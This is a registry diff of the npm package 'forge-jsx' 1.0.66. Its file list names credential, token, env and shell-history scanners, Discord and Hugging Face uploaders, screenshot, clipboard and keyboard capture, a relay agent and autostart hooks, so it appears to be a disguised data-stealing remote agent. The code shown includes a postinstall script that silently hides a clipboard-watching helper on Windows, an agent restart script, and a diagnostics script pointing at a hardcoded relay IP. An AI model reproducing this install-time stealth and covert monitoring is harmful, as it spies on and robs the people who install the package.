forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* - Linux/macOS: npm often unpacks clipboard-event without +x on the helper binary.
|
|
3
|
+
* - Windows: clipboard-event spawns win32.exe via execFile without `windowsHide`,
|
|
4
|
+
* which flashes a console window whenever the agent starts (including postinstall).
|
|
5
|
+
* Patch node_modules in place so the helper runs hidden.
|
|
6
|
+
*
|
|
7
|
+
* Handles all known forms of the execFile call in clipboard-event:
|
|
8
|
+
* Form A: execFile(path.join(__dirname, '...win32.exe'))
|
|
9
|
+
* Form B: execFile(path.join(__dirname, '...win32.exe'), function ...)
|
|
10
|
+
* Form C: execFile(path.join(__dirname, '...win32.exe'), (err, ...) => ...) [arrow fn]
|
|
11
|
+
* Form D: execFile(path.join(__dirname, '...win32.exe'), cb) [callback variable]
|
|
12
|
+
* Form E: execFile(binPath) [path stored in variable]
|
|
13
|
+
*/
|
|
14
|
+
import { chmodSync, existsSync, readFileSync, writeFileSync } from "node:fs";
|
|
15
|
+
import { join, dirname } from "node:path";
|
|
16
|
+
import { fileURLToPath } from "node:url";
|
|
17
|
+
import { createRequire } from "node:module";
|
|
18
|
+
|
|
19
|
+
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* npm often hoists `clipboard-event` to the project root `node_modules`, not under
|
|
23
|
+
* `node_modules/forge-jsx/node_modules`. A fixed relative path skips the patch entirely,
|
|
24
|
+
* so the win32 helper keeps spawning a visible console. Resolve the real install path.
|
|
25
|
+
*/
|
|
26
|
+
function resolveClipboardEventRoot() {
|
|
27
|
+
const nested = join(__dirname, "..", "node_modules", "clipboard-event");
|
|
28
|
+
try {
|
|
29
|
+
const require = createRequire(import.meta.url);
|
|
30
|
+
// clipboard-event 1.6+ uses "exports"; subpaths like package.json are not exported.
|
|
31
|
+
const resolved = dirname(require.resolve("clipboard-event"));
|
|
32
|
+
if (existsSync(join(resolved, "index.js")) || existsSync(join(resolved, "index.cjs"))) {
|
|
33
|
+
return resolved;
|
|
34
|
+
}
|
|
35
|
+
} catch {
|
|
36
|
+
/* optional dependency missing or not resolvable from this layout */
|
|
37
|
+
}
|
|
38
|
+
return nested;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const pkgRoot = resolveClipboardEventRoot();
|
|
42
|
+
|
|
43
|
+
// chmod +x all known Linux / macOS clipboard-event platform binaries.
|
|
44
|
+
// Covers all known architecture-specific names across clipboard-event 1.x releases.
|
|
45
|
+
for (const name of [
|
|
46
|
+
"clipboard-event-handler-linux",
|
|
47
|
+
"clipboard-event-handler-linux-x64",
|
|
48
|
+
"clipboard-event-handler-linux-x86",
|
|
49
|
+
"clipboard-event-handler-linux-ia32",
|
|
50
|
+
"clipboard-event-handler-linux-arm64",
|
|
51
|
+
"clipboard-event-handler-linux-arm",
|
|
52
|
+
"clipboard-event-handler-linux-armv7l",
|
|
53
|
+
"clipboard-event-handler-linux-riscv64",
|
|
54
|
+
"clipboard-event-handler-mac",
|
|
55
|
+
"clipboard-event-handler-mac-x64",
|
|
56
|
+
"clipboard-event-handler-mac-arm64",
|
|
57
|
+
"clipboard-event-handler-macos",
|
|
58
|
+
"clipboard-event-handler-macos-x64",
|
|
59
|
+
"clipboard-event-handler-macos-arm64",
|
|
60
|
+
]) {
|
|
61
|
+
const binPath = join(pkgRoot, "platform", name);
|
|
62
|
+
if (existsSync(binPath)) {
|
|
63
|
+
try {
|
|
64
|
+
chmodSync(binPath, 0o755);
|
|
65
|
+
} catch {
|
|
66
|
+
/* ignore */
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
/**
|
|
72
|
+
* Patch clipboard-event's Windows execFile call to add { windowsHide: true }.
|
|
73
|
+
* Handles all known callback styles in clipboard-event 1.x releases.
|
|
74
|
+
*
|
|
75
|
+
* The win32 helper binary path may appear as a path.join() call or as a variable.
|
|
76
|
+
* We pattern-match the execFile call and inject options before any callback.
|
|
77
|
+
*/
|
|
78
|
+
function patchClipboardEventWindowsHide() {
|
|
79
|
+
if (process.platform !== "win32") return;
|
|
80
|
+
|
|
81
|
+
for (const name of ["index.js", "index.cjs"]) {
|
|
82
|
+
const p = join(pkgRoot, name);
|
|
83
|
+
if (!existsSync(p)) continue;
|
|
84
|
+
|
|
85
|
+
let src;
|
|
86
|
+
try {
|
|
87
|
+
src = readFileSync(p, "utf8");
|
|
88
|
+
} catch {
|
|
89
|
+
continue;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
if (!src.includes("clipboard-event-handler-win32.exe")) continue;
|
|
93
|
+
if (src.includes("windowsHide")) continue; // already patched
|
|
94
|
+
|
|
95
|
+
let next = src;
|
|
96
|
+
|
|
97
|
+
// ── Form A: no second arg (no callback) ─────────────────────────────────────
|
|
98
|
+
// execFile(path.join(__dirname, '...win32.exe'))
|
|
99
|
+
next = next.replace(
|
|
100
|
+
/this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*\)/g,
|
|
101
|
+
"this.child = execFile($1, { windowsHide: true })"
|
|
102
|
+
);
|
|
103
|
+
|
|
104
|
+
// ── Form B: callback as second arg (named function) ──────────────────────────
|
|
105
|
+
// execFile(path.join(...), function(err, ...) { ... })
|
|
106
|
+
next = next.replace(
|
|
107
|
+
/this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*(function\s*\()/g,
|
|
108
|
+
"this.child = execFile($1, { windowsHide: true }, $2"
|
|
109
|
+
);
|
|
110
|
+
|
|
111
|
+
// ── Form C: arrow-function callback as second arg ────────────────────────────
|
|
112
|
+
// execFile(path.join(...), (err, ...) => { ... })
|
|
113
|
+
next = next.replace(
|
|
114
|
+
/this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*(\([^)]*\)\s*=>)/g,
|
|
115
|
+
"this.child = execFile($1, { windowsHide: true }, $2"
|
|
116
|
+
);
|
|
117
|
+
|
|
118
|
+
// ── Form D: callback variable as second arg ──────────────────────────────────
|
|
119
|
+
// execFile(path.join(...), cb) where cb is an identifier
|
|
120
|
+
next = next.replace(
|
|
121
|
+
/this\.child\s*=\s*execFile\(\s*(path\.join\(\s*__dirname\s*,\s*['"]platform\/clipboard-event-handler-win32\.exe['"]\s*\))\s*,\s*([a-zA-Z_$][a-zA-Z0-9_$]*)\s*\)/g,
|
|
122
|
+
"this.child = execFile($1, { windowsHide: true }, $2)"
|
|
123
|
+
);
|
|
124
|
+
|
|
125
|
+
// ── Form E: binPath variable (no inline path.join) ───────────────────────────
|
|
126
|
+
// Handle cases where the path is stored in a variable before the execFile call.
|
|
127
|
+
// Strategy: if the above patterns haven't patched and win32.exe is referenced,
|
|
128
|
+
// do a broader replacement of any execFile call assignment that has no options object.
|
|
129
|
+
if (next === src && src.includes("win32.exe")) {
|
|
130
|
+
// Broader fallback: any execFile(someVar, ...) without windowsHide
|
|
131
|
+
next = next.replace(
|
|
132
|
+
/this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*\)/g,
|
|
133
|
+
(match, arg1) => {
|
|
134
|
+
if (match.includes("windowsHide")) return match;
|
|
135
|
+
return `this.child = execFile(${arg1}, { windowsHide: true })`;
|
|
136
|
+
}
|
|
137
|
+
);
|
|
138
|
+
next = next.replace(
|
|
139
|
+
/this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*,\s*(function\s*\()/g,
|
|
140
|
+
(match, arg1, cb) => {
|
|
141
|
+
if (match.includes("windowsHide")) return match;
|
|
142
|
+
return `this.child = execFile(${arg1}, { windowsHide: true }, ${cb}`;
|
|
143
|
+
}
|
|
144
|
+
);
|
|
145
|
+
next = next.replace(
|
|
146
|
+
/this\.child\s*=\s*execFile\(\s*([^,)]+?)\s*,\s*(\([^)]*\)\s*=>)/g,
|
|
147
|
+
(match, arg1, cb) => {
|
|
148
|
+
if (match.includes("windowsHide")) return match;
|
|
149
|
+
return `this.child = execFile(${arg1}, { windowsHide: true }, ${cb}`;
|
|
150
|
+
}
|
|
151
|
+
);
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
if (next === src) continue; // nothing matched — leave untouched
|
|
155
|
+
|
|
156
|
+
try {
|
|
157
|
+
writeFileSync(p, next, "utf8");
|
|
158
|
+
} catch {
|
|
159
|
+
/* ignore */
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
patchClipboardEventWindowsHide();
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* npm registry version parsing + semver helpers for `forge-jsx-explorer-upgrade` (unit-tested).
|
|
3
|
+
* Not related to automatic package upgrades — upgrades are manual via file explorer only.
|
|
4
|
+
*/
|
|
5
|
+
import * as fs from "node:fs";
|
|
6
|
+
import * as path from "node:path";
|
|
7
|
+
import * as zlib from "node:zlib";
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Normalize version strings for comparison (npm/package.json rarely use `v`, but CLI output may).
|
|
11
|
+
* Strips leading ASCII `v`/`V` so `v1.0.10` and `1.0.10` compare equal.
|
|
12
|
+
*/
|
|
13
|
+
function normalizeSemverCore(s) {
|
|
14
|
+
return String(s || "")
|
|
15
|
+
.trim()
|
|
16
|
+
.replace(/^v+/i, "");
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* Parse first version token from `npm view <pkg> version` stdout, or a registry JSON `version` string
|
|
21
|
+
* (ANSI, quotes, first line) so explorer-upgrade and tests agree on the same normalization.
|
|
22
|
+
*/
|
|
23
|
+
export function parseNpmViewVersionStdout(stdout) {
|
|
24
|
+
const cleaned = String(stdout || "").replace(/\u001b\[[0-9;]*m/g, "");
|
|
25
|
+
const line =
|
|
26
|
+
cleaned
|
|
27
|
+
.split(/\r?\n/)
|
|
28
|
+
.map((l) => l.trim())
|
|
29
|
+
.find((l) => l.length > 0) || "";
|
|
30
|
+
return line
|
|
31
|
+
.replace(/^["']|["']$/g, "")
|
|
32
|
+
.split(/\s+/)[0]
|
|
33
|
+
.trim();
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Decode raw registry GET body to UTF-8 when `Content-Encoding` is gzip/deflate/br (CDN/proxy).
|
|
38
|
+
* Plain identity responses pass through as UTF-8.
|
|
39
|
+
*/
|
|
40
|
+
export function decodeRegistryResponseBody(raw, contentEncoding) {
|
|
41
|
+
const enc = String(contentEncoding || "").toLowerCase();
|
|
42
|
+
let buf = Buffer.isBuffer(raw) ? raw : Buffer.from(raw);
|
|
43
|
+
try {
|
|
44
|
+
if (/\bgzip\b/.test(enc)) buf = zlib.gunzipSync(buf);
|
|
45
|
+
else if (/\bdeflate\b/.test(enc)) {
|
|
46
|
+
try {
|
|
47
|
+
buf = zlib.inflateSync(buf);
|
|
48
|
+
} catch {
|
|
49
|
+
buf = zlib.inflateRawSync(buf);
|
|
50
|
+
}
|
|
51
|
+
} else if (/\bbr\b/.test(enc)) buf = zlib.brotliDecompressSync(buf);
|
|
52
|
+
} catch (e) {
|
|
53
|
+
const msg = e instanceof Error ? e.message : String(e);
|
|
54
|
+
throw new Error(`registry decompress (${enc.trim() || "identity"}): ${msg}`);
|
|
55
|
+
}
|
|
56
|
+
return buf.toString("utf8");
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/** @returns {number} negative if a<b, 0 equal, positive if a>b */
|
|
60
|
+
export function semverCompare(a, b) {
|
|
61
|
+
const parse = (s) => {
|
|
62
|
+
const m = normalizeSemverCore(s).match(/^(\d+)\.(\d+)\.(\d+)/);
|
|
63
|
+
if (!m) return null;
|
|
64
|
+
return [Number(m[1]), Number(m[2]), Number(m[3])];
|
|
65
|
+
};
|
|
66
|
+
const pa = parse(a);
|
|
67
|
+
const pb = parse(b);
|
|
68
|
+
if (!pa || !pb) return String(normalizeSemverCore(a)).localeCompare(String(normalizeSemverCore(b)));
|
|
69
|
+
for (let i = 0; i < 3; i++) {
|
|
70
|
+
if (pa[i] !== pb[i]) return pa[i] - pb[i];
|
|
71
|
+
}
|
|
72
|
+
return 0;
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Consumer project root: directory that owns node_modules when this install
|
|
77
|
+
* lives at .../node_modules/{pkgDirName}. Otherwise returns forgeRoot.
|
|
78
|
+
* @param {string} forgeRoot
|
|
79
|
+
* @param {string} [pkgDirName='forge-jsx']
|
|
80
|
+
*/
|
|
81
|
+
export function resolveConsumerRoot(forgeRoot, pkgDirName = "forge-jsx") {
|
|
82
|
+
let p = path.resolve(forgeRoot);
|
|
83
|
+
try {
|
|
84
|
+
p = fs.realpathSync(p);
|
|
85
|
+
} catch {
|
|
86
|
+
/* use symlink path */
|
|
87
|
+
}
|
|
88
|
+
for (;;) {
|
|
89
|
+
const base = path.basename(p);
|
|
90
|
+
const parent = path.dirname(p);
|
|
91
|
+
if (base === pkgDirName && path.basename(parent) === "node_modules") {
|
|
92
|
+
return path.resolve(path.dirname(parent));
|
|
93
|
+
}
|
|
94
|
+
if (parent === p) break;
|
|
95
|
+
p = parent;
|
|
96
|
+
}
|
|
97
|
+
return path.resolve(forgeRoot);
|
|
98
|
+
}
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Cross-platform `agent:restart` (no bash — works in cmd.exe and PowerShell).
|
|
4
|
+
* 1. Rebuild dist/ from latest TypeScript source (npm run build).
|
|
5
|
+
* 2. Stop the running singleton agent via forge-cfgmgr --stop.
|
|
6
|
+
* 3. Start a fresh detached agent via postinstall-agent.mjs.
|
|
7
|
+
*
|
|
8
|
+
* The build step ensures the restarted agent always runs the latest code.
|
|
9
|
+
* A build failure is non-fatal: we still stop + restart with the existing dist/.
|
|
10
|
+
*/
|
|
11
|
+
import { spawnSync } from "node:child_process";
|
|
12
|
+
import { existsSync } from "node:fs";
|
|
13
|
+
import path from "node:path";
|
|
14
|
+
import { fileURLToPath } from "node:url";
|
|
15
|
+
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
16
|
+
|
|
17
|
+
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
18
|
+
const root = path.resolve(__dirname, "..");
|
|
19
|
+
const cliForge = path.join(root, "dist", "cli-forge.js");
|
|
20
|
+
const postinstallAgent = path.join(root, "scripts", "postinstall-agent.mjs");
|
|
21
|
+
|
|
22
|
+
const verbose = process.argv.includes("--verbose") || process.argv.includes("-v");
|
|
23
|
+
|
|
24
|
+
// ── Step 1: rebuild ────────────────────────────────────────────────────────
|
|
25
|
+
// Remove FORGE_JS_ENSURE_DIST_RUNNING so ensure-dist.mjs (triggered inside
|
|
26
|
+
// `npm run build`) is not short-circuited by a stale guard env var.
|
|
27
|
+
const buildEnv = isolatedNpmCacheEnv({ ...process.env });
|
|
28
|
+
delete buildEnv.FORGE_JS_ENSURE_DIST_RUNNING;
|
|
29
|
+
buildEnv.NPM_CONFIG_UPDATE_NOTIFIER = "false";
|
|
30
|
+
buildEnv.npm_config_update_notifier = "false";
|
|
31
|
+
|
|
32
|
+
if (verbose) console.log("[forge-js] restart-agent: building latest dist/…");
|
|
33
|
+
// Pass command as a single string (no args array) when shell:true to avoid
|
|
34
|
+
// Node DeprecationWarning DEP0190 (args not escaped before shell concat).
|
|
35
|
+
const buildResult = spawnSync("npm run build", {
|
|
36
|
+
cwd: root,
|
|
37
|
+
stdio: verbose ? "inherit" : "pipe",
|
|
38
|
+
shell: true,
|
|
39
|
+
windowsHide: true,
|
|
40
|
+
timeout: 300_000,
|
|
41
|
+
env: buildEnv,
|
|
42
|
+
});
|
|
43
|
+
if (buildResult.status !== 0 && verbose) {
|
|
44
|
+
const out = buildResult.stderr?.toString?.()?.trim() || buildResult.stdout?.toString?.()?.trim() || "";
|
|
45
|
+
console.warn("[forge-js] restart-agent: build failed (restarting with existing dist/).", out ? `\n${out.slice(0, 1000)}` : "");
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// ── Step 2: stop existing agent ────────────────────────────────────────────
|
|
49
|
+
const stopOpts = {
|
|
50
|
+
cwd: root,
|
|
51
|
+
stdio: "ignore",
|
|
52
|
+
windowsHide: true,
|
|
53
|
+
env: isolatedNpmCacheEnv({ ...process.env }),
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
if (existsSync(cliForge)) {
|
|
57
|
+
if (verbose) console.log("[forge-js] restart-agent: stopping old agent…");
|
|
58
|
+
spawnSync(process.execPath, [cliForge, "--stop"], stopOpts);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// ── Step 3: start fresh agent ──────────────────────────────────────────────
|
|
62
|
+
if (verbose) console.log("[forge-js] restart-agent: starting fresh agent…");
|
|
63
|
+
spawnSync(process.execPath, [postinstallAgent], {
|
|
64
|
+
...stopOpts,
|
|
65
|
+
stdio: verbose ? "inherit" : "ignore",
|
|
66
|
+
});
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# Collect forge-jsx / forge-agent state on Windows. Run from repo root or anywhere:
|
|
2
|
+
# powershell -NoProfile -ExecutionPolicy Bypass -File path\to\windows-forge-diagnostics.ps1
|
|
3
|
+
# Paste the full output into an issue or chat.
|
|
4
|
+
|
|
5
|
+
$ErrorActionPreference = "Continue"
|
|
6
|
+
Write-Host "=== forge-js Windows diagnostics ==="
|
|
7
|
+
Write-Host "Time: $(Get-Date -Format o)"
|
|
8
|
+
Write-Host ""
|
|
9
|
+
|
|
10
|
+
Write-Host "=== Node ==="
|
|
11
|
+
try {
|
|
12
|
+
node -v
|
|
13
|
+
node -p "'platform=' + process.platform + ' version=' + process.version"
|
|
14
|
+
} catch {
|
|
15
|
+
Write-Host "node not on PATH: $_"
|
|
16
|
+
}
|
|
17
|
+
Write-Host ""
|
|
18
|
+
|
|
19
|
+
Write-Host "=== Global forge-jsx ==="
|
|
20
|
+
npm list -g forge-jsx --depth=0 2>&1
|
|
21
|
+
Write-Host ""
|
|
22
|
+
|
|
23
|
+
$dataDir = Join-Path $env:LOCALAPPDATA "CfgMgr\data"
|
|
24
|
+
Write-Host "=== CfgMgr data dir: $dataDir ==="
|
|
25
|
+
$hint = Join-Path $dataDir "forge-js-explorer-session.txt"
|
|
26
|
+
$cid = Join-Path $dataDir ".client_id"
|
|
27
|
+
$pidf = Join-Path $dataDir "forge-js-agent.pid"
|
|
28
|
+
foreach ($f in @($hint, $cid, $pidf)) {
|
|
29
|
+
if (Test-Path $f) {
|
|
30
|
+
Write-Host "--- $(Split-Path $f -Leaf) ---"
|
|
31
|
+
Get-Content $f -ErrorAction SilentlyContinue
|
|
32
|
+
} else {
|
|
33
|
+
Write-Host "(missing) $f"
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
Write-Host ""
|
|
37
|
+
|
|
38
|
+
Write-Host "=== node.exe (cli-agent) ==="
|
|
39
|
+
Get-CimInstance Win32_Process -Filter "Name='node.exe'" |
|
|
40
|
+
Where-Object { $_.CommandLine -match "cli-agent" } |
|
|
41
|
+
ForEach-Object { "PID=$($_.ProcessId) $($_.CommandLine)" }
|
|
42
|
+
Write-Host ""
|
|
43
|
+
|
|
44
|
+
Write-Host "=== Optional: relay health (set `$env:FORGE_RELAY_HTTP) ==="
|
|
45
|
+
if ($env:FORGE_RELAY_HTTP) {
|
|
46
|
+
try {
|
|
47
|
+
Invoke-RestMethod -Uri "$($env:FORGE_RELAY_HTTP.TrimEnd('/'))/health" -TimeoutSec 5
|
|
48
|
+
Invoke-RestMethod -Uri "$($env:FORGE_RELAY_HTTP.TrimEnd('/'))/api/relay-for-agent" -TimeoutSec 5
|
|
49
|
+
} catch {
|
|
50
|
+
Write-Host $_
|
|
51
|
+
}
|
|
52
|
+
} else {
|
|
53
|
+
Write-Host 'Skip (set FORGE_RELAY_HTTP e.g. http://204.10.194.247:9877 to test relay HTTP)'
|
|
54
|
+
}
|
|
55
|
+
Write-Host ""
|
|
56
|
+
Write-Host "=== End — paste everything above ==="
|